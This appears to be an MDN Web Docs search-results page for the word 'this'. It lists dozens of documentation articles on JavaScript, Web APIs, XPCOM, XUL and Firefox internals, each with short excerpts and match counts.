Search completed in 1.66 seconds.
this - JavaScript
a function's
this keyword behaves a little differently in javascript compared to other languages.
... in most cases, the value of
this is determined by how a function is called (runtime binding).
...es5 introduced the bind() method to set the value of a function's
this regardless of how it's called, and es2015 introduced arrow functions which don't provide their own
this binding (it retains the
this value of the enclosing lexical context).
...And 62 more matches
globalThis - JavaScript
the global global
this property contains the global
this value, which is akin to the global object.
... the source for
this interactive example is stored in a github repository.
... property attributes of global
this writable yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript environments.
...And 10 more matches
JS_IsConstructing_PossiblyWithGivenThisObject
obsolete since jsapi 17
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 determine if a special
this object was supplied to the constructor.
... syntax static jsbool js_isconstructing_possiblywithgiven
thisobject(jscontext *cx, const jsval *vp, jsobject **maybe
this); name type description cx jscontext * the context.
...And 4 more matches
Index - Web APIs
this is able to abort fetch requests, consumption of any response body, and streams.
...
this generally equates to the number of data values you will have to play with for the visualization.
... 59 analysernode.maxdecibels api, analysernode, property, reference, web audio api, maxdecibels the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically,
this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
...And 830 more matches
Index - Archive of obsolete content
this page describes how to develop and implement content scripts.
... 22 self
this article documents the self object that is available as a global in content scripts.
...
this article discusses two common techniques: one using prefixes, the other closures.
...And 447 more matches
Index
to
this end, there exist xpcom interfaces to read and write registry data.
...
this article will show you how to use the available interfaces in several mozilla products.
...
this can create a difficult situation for extension developers trying to support multiple gecko versions (firefox 2 and 3, for example).
...And 441 more matches
Index - Learn web development
this set of articles aims to provide complete beginners to web development with all that they need to start coding websites.
...to help you achieve
this,
this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks
this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
...And 224 more matches
Index
multiple elements of nss's own modules have been implemented with
this interface, and nss makes use of
this interface when talking to those modules.
...
this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a plugin that provides additional algorithms or stores key or trust information) that implement the pkcs#11 interface.
...
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
...And 190 more matches
Bytecode Descriptions
bytecode listing
this document is automatically generated from opcodes.h by make_opcode_doc.py.
...
this is how we implement typeof step 2, making typeof nonexistingvariable return "undefined" instead of throwing a referenceerror.
...
this does not call user-defined methods and can't throw.
...And 172 more matches
sslfnc.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference ssl functions chapter 4 ssl functions
this chapter describes the core ssl functions.
...And 157 more matches
WebIDL bindings
this is a signal that you need to get a review from a dom peer.
...note that you may not need to do
this if your objects can only be created, never gotten from other objects.
... if you do need to hook up cycle collection, it will look like
this in the common case of also inheriting from nsisupports: // add strong pointers your class holds here.
...And 156 more matches
nsIFile
xpcom/io/nsifile.idlscriptable an instance of
this interface is a cross-platform representation of a location in the filesystem.
... inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use
this instead of a string to ensure compatibility.
... to create an nsifile from a path you can use fileutils.jsm: var fileutils = cu.import("resource://gre/modules/fileutils.jsm").fileutils var nsifile = new fileutils.file( filename ) note: nsilocalfile was merged with
this interface in gecko 14.
...And 137 more matches
Index - Archive of obsolete content
this is a special type of button which is drawn differently.
...
this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages.
... 3 a xul bestiary add-ons, extensions, needstechnicalreview, xul
this xulnote presents some of the key concepts and terms in the xul development environment.
...And 131 more matches
IME handling guide
this document explains how gecko handles ime.
...
this is a technical term from windows but these days,
this is used on other platforms as well.
...if ime is not fully available(i.e., user cannot enable ime), we call
this state "disabled".
...And 120 more matches
nsIDOMWindowUtils
dom/interfaces/base/nsidomwindowutils.idlscriptable
this interface is a dom utility interface that provides useful dom methods and attributes.
...to get
this interface, use: var domwindowutils = window.windowutils; method overview void activatenativemenuitemat(in astring indexstring); void clearmozafterpaintevents(); pruint32 comparecanvases(in nsidomhtmlcanvaselement acanvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents(i...
...
this number also counts restyling of pseudo-elements and anonymous boxes.
...And 106 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable
this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of
this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
...for solving that issue, methods of
this interface have been designed for performing a key operation or representing a change of composition state.
... for example, the implementation of
this interface manages modifier state and composition state, initializes dom events from minimum information, and doesn't dispatch some events if they are not necessary.
...And 102 more matches
Index
5 future directions guide, mozilla, spidermonkey
this article documents future directions in functionality, design, and coding practices for spidermonkey.
...that means the code as it is today won't match
this document, and that's ok.
...
this page is intended to explain the changes that are happening, with a focus on how they will affect gecko code that uses jsapi.
...And 89 more matches
Client-side storage - Learn web development
this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more.
...
this article explains the very basics of how these work.
...
this has many distinct uses, such as: personalizing site preferences (e.g.
...And 88 more matches
Signaling and video calling - Web APIs
this tutorial will guide you through building a two-way video-call.
...
this process is called signaling and involves both devices connecting to a third, mutually agreed-upon server.
... through
this third server, the two devices can locate one another, and exchange negotiation messages.
...And 85 more matches
Debugger - Firefox Developer Tools
accessor properties of the debugger prototype object a debugger instance inherits the following accessor properties from its prototype: enabled a boolean value indicating whether
this debugger instance’s handlers, breakpoints, and the like are currently enabled.
... it is an accessor property with a getter and setter: assigning to it enables or disables
this debugger instance; reading it produces true if the instance is enabled, or false otherwise.
...
this property is initially true in a freshly created debugger instance.
...And 79 more matches
Starting WebLock
« previousnext » in
this chapter, we begin to design and implement the web locking functionality itself.
...
this chapter will focus on the functionality that actually handles the web locking.
...the method at the core of
this interface is observe: void observe(in nsisupports asubject, in string atopic, in wstring adata); there aren't really any restrictions on what the three parameters (asubject, atopic and adata) may represent.
...And 78 more matches
nsINavBookmarksService
to use
this service, use: var navbookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); method overview void addobserver(in nsinavbookmarkobserver observer, in boolean ownsweak); void beginupdatebatch(); obsolete since gecko 1.9 void changebookmarkuri(in long long...
...
this contains administrative data as well as user data, and is therefore not recommended for use in queries.
... constants constant value description default_index -1
this is the default index;
this value should be used for apis that allow passing in an index where the index is not known or is not required to be specified, such as when appending an item to a folder.
...And 78 more matches
WebGL model view projection - Web APIs
this article explores how to take data within a webgl project, and project it into the proper spaces to display it on the screen.
... note:
this article is also available as an mdn content kit.
...
this is a 2 unit wide cube, centered at (0,0,0), and with corners that range range from (-1,-1,-1) to (1,1,1).
...And 76 more matches
nsIDocShell
allowdnsprefetch boolean attribute that determines whether dns prefetch is allowed for
this subtree of the docshell tree.
...setting
this will make it take effect starting with the next document loaded in the docshell.
... apptype unsigned long the type of application that created
this window.
...And 72 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of
this technology is an important skill for any web or mobile developer.
...
this has been a source of confusion ever since.
... because it is more familiar, we will refer to ecmascript as "javascript" from
this point on.
...And 71 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
trict'; function getelembyid(id) { return document.getelementbyid(id); } var subscribers = []; var pickers = []; /** * rgba color class * * hsv/hsb and hsl (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) {
this.copy(color); return; }
this.r = 0;
this.g = 0;
this.b = 0;
this.a = 1;
this.hue = 0;
this.saturation = 0;
this.value = 0;
this.lightness = 0;
this.format = 'hsv'; } function rgbcolor(r, g, b) { var color = new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color = new color(); color.setrgba(r, g, b, a); return col...
...or.a = a; return color; } function hslcolor(h, s, l) { var color = new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color = new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; }
this.r = obj.r;
this.g = obj.g;
this.b = obj.b;
this.a = obj.a;
this.hue = obj.hue;
this.saturation = obj.saturation;
this.value = obj.value;
this.format = '' + obj.format;
this.lightness = obj.lightness; }; color.prototype.setformat = function setformat(format) { if (format === 'hsv')
this.format = 'hsv'; if (format === 'hsl')
this.format = 'hsl'; }; /*========== metho...
...ds to set color properties ==========*/ color.prototype.isvalidrgbvalue = function isvalidrgbvalue(value) { return (typeof(value) === 'number' && isnan(value) === false && value >= 0 && value <= 255); }; color.prototype.setrgba = function setrgba(red, green, blue, alpha) { if (
this.isvalidrgbvalue(red) === false ||
this.isvalidrgbvalue(green) === false ||
this.isvalidrgbvalue(blue) === false) return;
this.r = red | 0;
this.g = green | 0;
this.b = blue | 0; if (
this.isvalidrgbvalue(alpha) === true)
this.a = alpha | 0; }; color.prototype.setbyname = function setbyname(name, value) { if (name === 'r' || name === 'g' || name === 'b') { if(
this.isvalidrgbvalue(value) === false) return;
this[name] = value;
this.updatehsx(); } }; color.prot...
...And 70 more matches
Introducing a complete toolchain - Learn web development
in
this article we'll introduce the case study, set up our development environment, and set up our code transformation tools.
... there really are unlimited combinations of tools and ways to use them, what you see in
this article and the next is only one way that the featured tools can be used for a project.
... introducing our case study the toolchain that we are creating in
this article will be used to build and deploy a mini site that lists data (taken from one of nasa's open apis) concerning potentially hazardous space objects that threaten our existence on earth!
...And 68 more matches
Debugger.Object - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
...
this “viewing compartment” is chosen to match the way the debugger came across the referent.
...
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.
...And 66 more matches
HTTP Index - HTTP
this page lists all mdn http pages along with their summary and tags.
...
this page provides some advice on what's best.
... 14 configuring servers for ogg media audio, http, media, ogg, video
this guide covers a few server configuration changes that may be necessary for your web server to correctly serve ogg media files.
...And 66 more matches
jspage - Archive of obsolete content
unction(){};var d=f||i;h=h!==false;d.constructor=native;d.$family={name:"native"}; if(i&&f){d.prototype=i.prototype;}d.prototype.constructor=d;if(a){var e=a.tolowercase();d.prototype.$family={name:e};native.typize(d,e);}var j=function(n,l,o,m){if(!b||m||!n.prototype[l]){n.prototype[l]=o; }if(h){native.genericize(n,l,b);}g.call(n,l,o);return n;};d.alias=function(n,l,p){if(typeof n=="string"){var o=
this.prototype[n];if((n=o)){return j(
this,l,n,p); }}for(var m in n){
this.alias(m,n[m],l);}return
this;};d.implement=function(m,l,o){if(typeof m=="string"){return j(
this,m,l,o);}for(var n in m){j(
this,n,m[n],l); }return
this;};if(c){d.implement(c);}return d;};native.genericize=function(b,c,a){if((!a||!b[c])&&typeof b.prototype[c]=="function"){b[c]=function(){var d=array.prototype.slice.call(arguments);...
...ng","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){
this[b]=a[b];}return
this;}});hash.implement({foreach:function(b,c){for(var a in
this){if(
this.hasownproperty(a)){b.call(c,
this[a],a,
this); }}},getclean:function(){var b={};for(var a in
this){if(
this.hasownproperty(a)){b[a]=
this[a];}}return b;},getlength:function(){var b=0;for(var a in
this){if(
this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each");array.implement({foreach:function(c...
...,d){for(var b=0,a=
this.length;b<a;b++){c.call(d,
this[b],b,
this);}}});array.alias("foreach","each"); function $a(b){if(b.item){var a=b.length,c=new array(a);while(a--){c[a]=b[a];}return c;}return array.prototype.slice.call(b);}function $arguments(a){return function(){return arguments[a]; };}function $chk(a){return !!(a||a===0);}function $clear(a){cleartimeout(a);clearinterval(a);return null;}function $defined(a){return(a!=undefined);}function $each(c,b,d){var a=$type(c); ((a=="arguments"||a=="collection"||a=="array")?array:hash).each(c,b,d);}function $empty(){}function $extend(c,a){for(var b in (a||{})){c[b]=a[b];}return c; }function $h(a){return new hash(a);}function $lambda(a){return($type(a)=="function")?a:function(){return a;};}function $merge(){var a=array.slice(arguments); a.unshift({});r...
...And 65 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
in
this article we will add the app's final features and further componentize our app.
... the following new components will be developed throughout the course of
this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality.
...
this also means that in
this case, a reactive statement like $: console.log('todos', todos) won't be very useful.
...And 65 more matches
tabs - Archive of obsolete content
converting to xul tabs to convert from the high-level tab objects used in
this api to the low-level xul tab objects used in the tabs/utils api and by traditional add-ons, use the viewfor() function exported by the viewfor module.
... here's an example converting from a high-level tab to a xul tab and then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var tabs = require("sdk/tabs"); var tab_utils = require("sdk/tabs/utils"); function maphighleveltolowlevel(tab) { // get the xul tab that corresponds to
this high-level tab var lowleveltab = viewfor(tab); // now we can, for example, access the tab's content directly var browser = tab_utils.getbrowserfortab(lowleveltab); console.log(browser.contentdocument.body.innerhtml); // get the high-level tab back from the xul tab var highleveltab = modelfor(lowleveltab); console.log(highleveltab.url); } tabs.on("ready", maphighleveltolowlevel); ...
...note that directly accessing xul objects and web content like
this means you're no longer protected by the compatibility guarantees made by the sdk's high-level apis.
...And 64 more matches
XUL Events - Archive of obsolete content
this event would be used to update the disabled status of its commands.dommenuitemactivethe dommenuitemactive event is executed when a <menu> or a <menuitem> has been hovered or highlighted.dommenuiteminactivethe dommenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <tooltip> h...
... attribute: onblur change
this event is sent when the value of the textbox is changed.
... attribute: onchange click
this event is sent when a mouse button is pressed and released.
...And 64 more matches
CustomizableUI.jsm
this module is only available from firefox 29 onwards.
...
this is handled by customizemode.jsm, which interacts with customizableui through a listener mechanism.
...
this is analogous to the old currentset attribute.
...And 64 more matches
nsIFaviconService
to use
this service, use: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); method overview void addfailedfavicon(in nsiuri afaviconuri); void expireallfavicons(); void getfavicondata(in nsiuri afaviconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata)...
... methods addfailedfavicon()
this method adds a given favicon's uri to the failed favicon cache.
...
this cache will also be written to if you use setandloadfaviconforpage() method and it encounters an error while fetching an icon.
...And 64 more matches
How to build custom form controls - Learn web development
in
this article, we will discuss how to build a custom control.
... note: we'll focus on building the control, not on how to make the code generic and reusable; that would involve some non-trival javascript code and dom manipulation in an unknown context, and that is out of the scope of
this article.
...
this will save you some precious time.
...And 61 more matches
OS.File for the main thread
this page details how to use file i/o from the main thread.
... let decoder = new textdecoder(); //
this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert
this array to a text } );
this example requires firefox 18 or a more recent version.
... example: write a string to a file the following snippet writes the text "
this is some text" to a string "file.txt", using the default encoding (utf-8).
...And 61 more matches
Fundamental text and font styling - Learn web development
overview: styling text next in
this article we'll start you on your journey towards mastering text styling with css.
... the css properties used to style text generally fall into two categories, which we'll look at separately in
this article: font styles: properties that affect the font that is applied to the text, affecting what font is applied, how big it is, whether it is bold, italic, etc.
...in
this example we'll apply some different css properties to the same html sample, which looks like
this: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat.
...And 60 more matches
Mozilla DOM Hacking Guide
in
this document i will try to outline the main aspects of the implementation, beginning with the class info mechanism, which lies at the heart of the dom, then with the description of various interfaces and classes.
... since i am myself still learning how it works, don't expect
this to be a complete reference quite yet.
... if you can contribute any time or knowledge to
this document, it is greatly appreciated!
...And 60 more matches
Introduction to XPCOM for the DOM
warning:
this document has not yet been reviewed by the dom gurus, it might contain some errors.
...
this document is an introduction to the use of xpcom in the context of the dom code.
... the use of xpcom and nscomptr's described in
this document covers about 80% of what you need to know to read the dom code, and even write some.
...And 60 more matches
Observer Notifications
see receiving startup notifications for more information about how
this works.
... [nsobserverservice.cpp] topic description xpcom-startup note: an extension can no longer be registered to receive
this notification in firefox 4 and later.
...many things are not available for use at
this point.
...And 59 more matches
Mozilla
a bird's-eye view of the mozilla framework the purpose of
this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... adding a new css property
this page describes how to add a new css property to the style system.
... adding a new event
this draft document covers how to add a new event to the mozilla (firefox) source code.
...And 59 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
the first and most important thing to understand when considering the code to manage point-of-view and cameras in your application is
this: webxr does not have cameras.
...in
this guide we show how use webgl to simulate camera movements without having a camera to move.
... there are a few articles about the fundamental math, geometry, and other concepts behind webgl and webxr which may be useful to read before or while reading
this one, including: explaining basic 3d theory matrix math for the web webgl model view projection geometry and reference spaces in webxr ed.
...And 59 more matches
nsIAnnotationService
to use
this service, use: var annotationservice = components.classes["@mozilla.org/browser/annotation-service;1"] .getservice(components.interfaces.nsiannotationservice); note: the annotation service is not thread-safe.
... expire_weeks 2 for general page settings, things the user is interested in seeing if they come back to
this page some time in the near future.
...
this is only valid for page annotations.
...And 58 more matches
Using IndexedDB - Web APIs
about
this document
this tutorial walks you through using the asynchronous api of indexeddb.
...
this article documents the types of objects used by indexeddb, as well as the methods of the asynchronous api (the synchronous api was removed from spec).
...// moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction || {read_write: "readwrite"}; //
this line should only be needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification.
...And 58 more matches
JavaScript Daemons Management - Archive of obsolete content
a possible approach to solve
this problem is to nest all the information needed by each animation to start, stop, etc.
...
this more complex version of it is nothing but a big and scalable collection of methods for the daemon constructor.
...it also offers an alternative way to pass the
this object to the callback functions (see the "
this" problem for details).
...And 57 more matches
JIT Optimization Strategies
this page contains only historic information about
this feature.
... note:
this page is an in-progress documentation of jit optimization strategies planned to support the "jit coach" feature intended for inclusion in firefox developer tools.
...
this page has two intended uses: 1.
...And 57 more matches
Details of the object model - JavaScript
because of
this different basis, it can be less apparent how javascript allows you to create hierarchies of objects and to have inheritance of properties and their values.
...
this chapter attempts to clarify the situation.
...
this chapter assumes that you are already somewhat familiar with javascript and that you have used javascript functions to create simple objects.
...And 57 more matches
MMgc - Archive of obsolete content
this is c++ memory management as you're accustomed to it.
... gc* gc = gc::getgc(
this); gcobject* gcobject; gc class the class mmgc::gc is the main class of the gc.
...if you know for certain that the objects will not contain gc pointers, leave
this flag off; it will make the mark phase faster by excluding your object.
...And 55 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is created by setting the type attribute of a textbox to autocomplete.
...crolling, textlength, textvalue, timeout, type, useraction, value methods addsession, clearresults, getdefaultsession, getresultat, getresultcount, getresultvalueat, getsession, getsessionbyname, getsessionresultat, getsessionstatusat, getsessionvalueat, removesession, select, setselectionrange, syncsessions examples (example needed) attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...And 55 more matches
HTML: A good basis for accessibility - Learn web development
this article looks in detail at how html can be used to ensure maximum accessibility.
...
this means using the correct html elements for their intended purpose as much as possible.
... you might wonder why
this is so important.
...And 55 more matches
HTML: A good basis for accessibility - Learn web development
this article looks in detail at how html can be used to ensure maximum accessibility.
...
this means using the correct html elements for their intended purpose as much as possible.
... you might wonder why
this is so important.
...And 55 more matches
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
...
this article leads you through basic concepts and examples of client-side form validation.
...read website security for an idea of what could happen; implementing server-side validation is somewhat beyond the scope of
this module, but you should bear it in mind.
...And 54 more matches
Getting started with HTML - Learn web development
overview: introduction to html next in
this article we cover the absolute basics of html.
... to get you started,
this article defines elements, attributes, and all the other important terms you may have heard.
...
this means they can be written in uppercase or lowercase.
...And 53 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
previous overview: asynchronous next
this tutorial looks at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g.
...(in other words, when the stack is empty.) you will learn more on
this matter as you progress through
this article.
...(see the note below on why it runs "as soon as possible" and not "immediately".) more on why you might want to do
this later.
...And 53 more matches
Debugger.Object - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
...
this "viewing compartment" is chosen to match the way the debugger came across the referent.
...
this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.
...And 53 more matches
Inputs and input sources - Web APIs
in
this guide, we'll look at how to use webxr's input device management features to determine what input sources are available and how to then monitor those sources for inputs in order to handle user interactivity with your virtual or augmented environment.
...
this may involve the user simply tapping on a spot on the screen, tracking their eyes, or the use of a joystick or motion-sensing controller to move a cursor.
...the section primary squeeze action describes
this in more detail.
...And 53 more matches
JavaScript modules - JavaScript
« previous
this guide gives you all you need to get started with javascript module syntax.
...node.js has had
this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel).
... the good news is that modern browsers have started to support module functionality natively, and
this is what
this article is all about.
...And 53 more matches
Drawing graphics - Learn web development
this article provides an introduction to canvas, and further resources to allow you to learn more.
...
this however was still not enough.
...
this became webgl, which gained traction among browser vendors, and was standardized around 2009–2010.
...And 52 more matches
PKCS #11 Module Specs
nss currently implements
this proposal internally.
... recognized names all applications/libraries must be able recognize the following name values: library
this specifies the path to the pkcs #11 library.
... name
this specifies the name of the pkcs #11 library.
...And 52 more matches
Color picker tool - CSS: Cascading Style Sheets
ker() { function getelembyid(id) { return document.getelementbyid(id); } var subscribers = []; var pickers = []; /** * rgba color class * * hsv/hsb and hsl (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) {
this.copy(color); return; }
this.r = 0;
this.g = 0;
this.b = 0;
this.a = 1;
this.hue = 0;
this.saturation = 0;
this.value = 0;
this.lightness = 0;
this.format = 'hsv'; } function rgbcolor(r, g, b) { var color = new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color = new color(); color.setrgba(r, g, b, a); return col...
...or.a = a; return color; } function hslcolor(h, s, l) { var color = new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color = new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; }
this.r = obj.r;
this.g = obj.g;
this.b = obj.b;
this.a = obj.a;
this.hue = obj.hue;
this.saturation = obj.saturation;
this.value = obj.value;
this.format = '' + obj.format;
this.lightness = obj.lightness; }; color.prototype.setformat = function setformat(format) { if (format === 'hsv')
this.format = 'hsv'; if (format === 'hsl')
this.format = 'hsl'; }; /*========== metho...
...ds to set color properties ==========*/ color.prototype.isvalidrgbvalue = function isvalidrgbvalue(value) { return (typeof(value) === 'number' && isnan(value) === false && value >= 0 && value <= 255); }; color.prototype.setrgba = function setrgba(red, green, blue, alpha) { if (
this.isvalidrgbvalue(red) === false ||
this.isvalidrgbvalue(green) === false ||
this.isvalidrgbvalue(blue) === false) return;
this.r = red | 0;
this.g = green | 0;
this.b = blue | 0; if (
this.isvalidrgbvalue(alpha) === true)
this.a = alpha | 0; }; color.prototype.setbyname = function setbyname(name, value) { if (name === 'r' || name === 'g' || name === 'b') { if(
this.isvalidrgbvalue(value) === false) return;
this[name] = value;
this.updatehsx(); } }; color.prot...
...And 52 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
this article describes how to set up the development environment for a large, complex firefox extension with any or all of the above-mentioned requirements.
...if you are just looking to create an xpcom component or two,
this is probably overkill, and you might want to take a look at
this guide instead.
... on the other hand, if you are an experienced developer or team, and you know that you are going to build a large, complex extension, you would do well to consider the approach described in
this article.
...And 51 more matches
Fetching data from the server - Learn web development
this seemingly small detail has had a huge impact on the performance and behavior of sites, so in
this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
... the trouble with
this model is that whenever you want to update any part of the page, for example, to display a new set of products or load a new page, you've got to load the entire page again.
...
this is extremely wasteful and results in a poor user experience, especially as pages get larger and more complex.
...And 51 more matches
Using XMLHttpRequest - Web APIs
in
this guide, we'll take a look at how to use xmlhttprequest to issue http requests in order to exchange data between the web site and a server.
... function reqlistener () { console.log(
this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...if
this argument is true or not specified, the xmlhttprequest is processed asynchronously, otherwise the process is handled synchronously.
...And 51 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
in
this article we will discuss the main essential components of responsive design, with some links to further information where necessary.
...one approach to
this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site.
... but
this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining multiple copies of your code can turn out to be a nightmare.
...And 51 more matches
Handling common JavaScript problems - Learn web development
this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more.
...
this is one of the main reasons why libraries like jquery came into existence — to abstract away differences in browser implementations (e.g.
... confusion about
this, in terms of what scope it applies to, and therefore if its value is what you intended.
...And 50 more matches
Applying styles and colors - Web APIs
// these all set the fillstyle to 'orange' ctx.fillstyle = 'orange'; ctx.fillstyle = '#ffa500'; ctx.fillstyle = 'rgb(255, 165, 0)'; ctx.fillstyle = 'rgba(255, 165, 0, 1)'; a fillstyle example in
this example, we once again use two for loops to draw a grid of rectangles, each in a different color.
...ar ctx = document.getelementbyid('canvas').getcontext('2d'); for (var i = 0; i < 6; i++) { for (var j = 0; j < 6; j++) { ctx.fillstyle = 'rgb(' + math.floor(255 - 42.5 * i) + ', ' + math.floor(255 - 42.5 * j) + ', 0)'; ctx.fillrect(j * 25, i * 25, 25, 25); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); the result looks like
this: screenshotlive sample a strokestyle example
this example is similar to the one above, but uses the strokestyle property to change the colors of the shapes' outlines.
...{ for (var j = 0; j < 6; j++) { ctx.strokestyle = 'rgb(0, ' + math.floor(255 - 42.5 * i) + ', ' + math.floor(255 - 42.5 * j) + ')'; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); the result looks like
this: screenshotlive sample transparency in addition to drawing opaque shapes to the canvas, we can also draw semi-transparent (or translucent) shapes.
...And 50 more matches
EventTarget.addEventListener() - Web APIs
this must be an object implementing the eventlistener interface, or a javascript function.
...the available options are: capture a boolean indicating that events of
this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree.
... usecapture optional a boolean indicating whether events of
this type will be dispatched to the registered listener before being dispatched to any eventtarget beneath it in the dom tree.
...And 50 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it contents
this document is for developers working to support msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's msaa support specifically.
...using
this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they navigate.
... on microsoft windows, these kinds of assistive technology acquire
this necessary information via a combination of hacks, msaa and proprietary doms.
...And 50 more matches
Understanding WebAssembly text format - WebAssembly
this is an intermediate form designed to be exposed in text editors, browser developer tools, etc.
...
this article explains how that text format works, in terms of the raw syntax, and how it is related to the underlying bytecode it represents — and the wrapper objects representing wasm in javascript.
... note:
this is potentially overkill if you are a web developer who just wants to load a wasm module into a page and use it in your code (see using the webassembly javascript api), but it is more useful if for example, you want to write wasm modules to optimize the performance of your javascript library, or build your own webassembly compiler.
...And 50 more matches
platform/xpcom - Archive of obsolete content
